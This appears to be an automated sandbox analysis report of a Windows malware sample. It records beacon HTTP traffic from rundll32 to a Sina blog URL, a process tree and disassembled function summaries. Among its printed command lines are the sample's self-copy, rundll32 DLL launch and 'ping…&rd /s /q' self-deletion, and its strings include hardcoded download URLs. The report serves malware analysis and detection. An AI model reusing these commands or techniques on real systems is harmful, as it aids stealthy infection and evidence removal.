Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50813	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:52 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	51017	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:56 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	51249	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:00 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	51630	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:08 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	55345	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:16 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	57162	202.108.0.52	443	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:26:20 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16

Target ID:	0
Start time:	10:24:25
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\otsIBG7J9b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\otsIBG7J9b.exe"
Imagebase:	0x400000
File size:	72'381 bytes
MD5 hash:	8A971E9FE9FA2C3005EE1EB9C143B331
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:24:25
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 2&c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:24:25
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:24:25
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xc80000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:24:26
Start date:	11/12/2024
Path:	C:\ufcpp.exe
Wow64 process (32bit):	true
Commandline:	c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"
Imagebase:	0x400000
File size:	72'438 bytes
MD5 hash:	1B4C7D94BCF61F9CCE0B29C2D879EE73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:24:26
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system32\rundll32.exe "c:\agtve\yhnvs.dll",init c:\ufcpp.exe
Imagebase:	0xaf0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:24:41
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\agtve\yhnvs.dll",init
Imagebase:	0xaf0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:24:42
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve"
Imagebase:	0x310000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:24:42
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:24:42
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0xc80000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:24:50
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\agtve\yhnvs.dll",init
Imagebase:	0xaf0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 3732, Parent PID: 6104

General

Target ID:	14
Start time:	10:24:50
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4408, Parent PID: 3732

General

Target ID:	15
Start time:	10:24:50
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:24:50
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0xc80000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	3.3%
Signature Coverage:	8.2%
Total number of Nodes:	183
Total number of Limit Nodes:	5

Executed Functions

Function 00401220 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 136
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__p___argv.MSVCRT ref: 00401253

Part of subcall function 00401140: CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0040117B

__p___argv.MSVCRT ref: 00401274

Part of subcall function 00401140: ReadFile.KERNELBASE(00000000,?,00001000,?,00000000), ref: 004011C2
Part of subcall function 00401140: CloseHandle.KERNELBASE(00000000), ref: 004011FD

Sleep.KERNEL32(00000064), ref: 00401286
GetTickCount.KERNEL32 ref: 004012CD
wsprintfA.USER32 ref: 004012EA
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
Sleep.KERNELBASE(00000064), ref: 00401321
WriteFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 00401331
Sleep.KERNELBASE(00000064), ref: 00401339
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00401349
CloseHandle.KERNELBASE(00000000), ref: 00401350
__p___argv.MSVCRT ref: 0040137D
wsprintfA.USER32 ref: 0040139A
WinExec.KERNEL32(?,00000000), ref: 004013AD
Sleep.KERNELBASE(000001F4,?,?,?,?,00000000,?), ref: 004013B8
ExitProcess.KERNEL32 ref: 004013BC

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 00401394
c:\%s.exe, xrefs: 004012DE

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: File$Sleep$__p___argv$CloseCreateHandleWritewsprintf$CountExecExitProcessReadTick
String ID: c:\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 529022016-1443030469
Opcode ID: 66cdd9089e5af76c599511ada205c2659a24278b25b1261c6a6c7d148cee0f40
Instruction ID: 9f8aa6881b80f391e29a048e327f9647279769309d18573ee161f45e2535dee3
Opcode Fuzzy Hash: 66cdd9089e5af76c599511ada205c2659a24278b25b1261c6a6c7d148cee0f40
Instruction Fuzzy Hash: 2B418171504341AFD310EF64DC45FAB7BA9EFC8704F04093DF245AB2E1DA7496048BAA

Function 00401140 Relevance: 4.6, APIs: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0040117B
ReadFile.KERNELBASE(00000000,?,00001000,?,00000000), ref: 004011C2
CloseHandle.KERNELBASE(00000000), ref: 004011FD

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: 50e04a863f428a76645a255525e8b530e81a62b19e13fed04084e6c9b05c1cd9
Instruction ID: 90d227093b93e33c59d7a42948e498c78a4efe9ee397008c3d7e124e3062c49f
Opcode Fuzzy Hash: 50e04a863f428a76645a255525e8b530e81a62b19e13fed04084e6c9b05c1cd9
Instruction Fuzzy Hash: BC21B431304345ABE724CA28DC41BEBB3D5FB88715F40493DFB95E72D0C6B8A9488A5A

Function 00415F67 Relevance: 3.2, APIs: 2, Instructions: 200
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00415FE0
VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,?), ref: 00416153

Memory Dump Source

Source File: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: af8375059041f43eb7b739a3b30046c93744f04c90da5dd6509c3269b4ceb1ad
Instruction ID: b5095fd7398c27d52b9b4c2b60e65f433afccfdda2a0a88fef6c4a84fe82fa18
Opcode Fuzzy Hash: af8375059041f43eb7b739a3b30046c93744f04c90da5dd6509c3269b4ceb1ad
Instruction Fuzzy Hash: 4D6119326002109FDB25CA14CC847E6BB75EF89314F29449AD5899B381D379EDC2CB55

Function 00A905A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 00A90625
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00A90658

Memory Dump Source

Source File: 00000000.00000003.1679936334.0000000000A90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_a90000_otsIBG7J9b.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction ID: d3edc25324619c31906757ebce73af4fffde0c11dd4b04b4aaa1fd6e89d5297f
Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction Fuzzy Hash: 8721D435B00219BFDF008F658C45BEEFBF5EB54394F60C162EA10A2280E7744A519B50

Non-executed Functions

Function 004013D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000086,HTM), ref: 004013E4
LoadResource.KERNEL32(00000000,00000000), ref: 004013FC

Strings

%s\%s.dll, xrefs: 0040155E
WinSta0\Default, xrefs: 00401666
c:\%s, xrefs: 00401509
HTM, xrefs: 004013D8
%s "%s",init %s, xrefs: 00401621
D, xrefs: 0040165E
c:\windows\system32\rundll32.exe, xrefs: 004015A7

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: Resource$FindLoad
String ID: %s "%s",init %s$%s\%s.dll$D$HTM$WinSta0\Default$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 2619053042-2457680838
Opcode ID: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction ID: 5c017b3d947436da3a79cbd575b5788da6cc5bd4b656b3589a3b64b7cb9d4a99
Opcode Fuzzy Hash: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction Fuzzy Hash: DA71E5716083806FD3218B24CC45BEB7BD5EB89704F00492DF6C9AB2D1DAB995098B9B

Function 00401DE0 Relevance: 9.1, APIs: 6, Instructions: 71
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsIconic.USER32(?), ref: 00401DEA
SendMessageA.USER32(?,00000027,?,00000000), ref: 00401E1B
GetSystemMetrics.USER32(0000000B), ref: 00401E29
GetSystemMetrics.USER32(0000000C), ref: 00401E2F
GetClientRect.USER32(?,?), ref: 00401E3C
DrawIcon.USER32(?,?,?,?), ref: 00401E74

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: MetricsSystem$ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 2166663075-0
Opcode ID: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction ID: db773ba51d367e258aaa0001d282ccedd816923d488996b04dffdd7d1b0f9207
Opcode Fuzzy Hash: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction Fuzzy Hash: 62117CB12047029BC214DF79DD89D6BB7E9FFC8304F084A2DB58AD3290DA34E905CB59

Function 004043EC Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00404419
__p__fmode.MSVCRT ref: 0040442E
__p__commode.MSVCRT ref: 0040443C
__setusermatherr.MSVCRT ref: 00404468
_initterm.MSVCRT ref: 0040447E
__getmainargs.MSVCRT ref: 004044A1
_initterm.MSVCRT ref: 004044B1
GetStartupInfoA.KERNEL32(?), ref: 004044F0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00404514
exit.MSVCRT ref: 00404524
_XcptFilter.MSVCRT ref: 00404536

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 41c4c4fb87addf5f86e7c459d09dd59d2deec0db5ee8492f51d93a0d0e41125f
Instruction ID: b84817577bdd794c3584b55ee7e6e144752272faa3ca625d9eeea178d453bb24
Opcode Fuzzy Hash: 41c4c4fb87addf5f86e7c459d09dd59d2deec0db5ee8492f51d93a0d0e41125f
Instruction Fuzzy Hash: BB416AB1C04748AFDB20DFA4DD45A6A7BB8EB49714B20027EE651B72E1D7385840CF69

Function 00401F00 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00401F23
_mbscmp.MSVCRT ref: 00401F73
CoUninitialize.COMBASE ref: 00402063

Strings

http://192.168.100.83/9.htm, xrefs: 00402032
http://192.168.100.83/F.htm, xrefs: 00402007
http://192.168.100.83/, xrefs: 00401F6D, 00402057

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: InitializeUninitialize_mbscmp
String ID: http://192.168.100.83/$http://192.168.100.83/9.htm$http://192.168.100.83/F.htm
API String ID: 2492722006-1795800369
Opcode ID: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction ID: a67ed12fd00eb966c7ef07626c931287be5c1ca5e9acac2baddc7c0ca8bee009
Opcode Fuzzy Hash: 35811a6e0b39e4f7b08488aa2c5a3d4eb87b184382bd88b4647af15aedf611d2
Instruction Fuzzy Hash: F061BE70604302AFD710EF64C989B1BBBA8AF88714F04496DF985EB3D1DB78D905CB96

Function 00402710 Relevance: 12.1, APIs: 8, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 00402759
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402768
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00402785
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402794
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 004027D0
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004027DF
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004027FC
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040280B

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction ID: 43040d4cf96770573546f0ef5553b46f0ed2c3b2f342c278d2bebaaa6e181bda
Opcode Fuzzy Hash: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction Fuzzy Hash: 6221357178031477EB14AB558CD6F7E365AABD8B10F34422ABF056F2C6CAF4E8018B55

Function 00401C60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMenu.USER32(?,00000000,?,?,?,?,004047E8,000000FF), ref: 00401C85
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401CD2
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401CE1
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401D0D
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401D21

Strings

http://www.1.com, xrefs: 00401D31

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: Menu$AppendMessageSend$System
String ID: http://www.1.com
API String ID: 62300227-1471656216
Opcode ID: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction ID: 014e3ba470a9a3624742ceba51641722d59a2d0febe7554dbc01a11c7d6f2640
Opcode Fuzzy Hash: 8bfcf3e66f0112f36f00dce6af1070b3536336381e515d163b94ad252a9c805a
Instruction Fuzzy Hash: 142192B53447017BE220EB65CC86F5BB3A8FB88B50F10462DB6556B2D1CBB9F800CB59

Function 00403D20 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_mbscmp.MSVCRT ref: 00403D57

Strings

user.ini, xrefs: 00403D8A, 00403E32

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: _mbscmp
String ID: user.ini
API String ID: 2888065108-1338118170
Opcode ID: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction ID: 7586933d42d8af5822a5c6cc992a2378d2c9300e52b0bfec7b5886e4e50d1dbd
Opcode Fuzzy Hash: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction Fuzzy Hash: F341D1B16483406BC314FF55CC42BAF7654AFD0709F40067EFA06762C1DB7C69088AAB

Function 00402F00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 00402F09
lstrlen.KERNEL32(00402DDC,?,00402DDC,00407194), ref: 00402F2C
MultiByteToWideChar.KERNEL32(00000000,00000000,00402DDC,000000FF,?,00000001,?,00402DDC,00407194), ref: 00402F55
SysAllocString.OLEAUT32(00000000), ref: 00402F5F

Strings

NULL, xrefs: 00402F05

Memory Dump Source

Source File: 00000000.00000002.1687793114.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1687780454.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687807484.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_otsIBG7J9b.jbxd

Similarity

API ID: AllocByteCharClearMultiStringVariantWidelstrlen
String ID: NULL
API String ID: 3257503732-324932091
Opcode ID: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction ID: d48dc8f015bb9ad4e3fe3b606f75ade0cd382acbba87cbd38ab65ded183ca584
Opcode Fuzzy Hash: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction Fuzzy Hash: 9801D272600616ABC7105F52CD84B5BBBB8EF413A4F108136FE04B7390E3B898018BE9

Function 004010C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004010D9
srand.MSVCRT ref: 004010E0
rand.MSVCRT ref: 004010EF
rand.MSVCRT ref: 00401110

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 004010CB

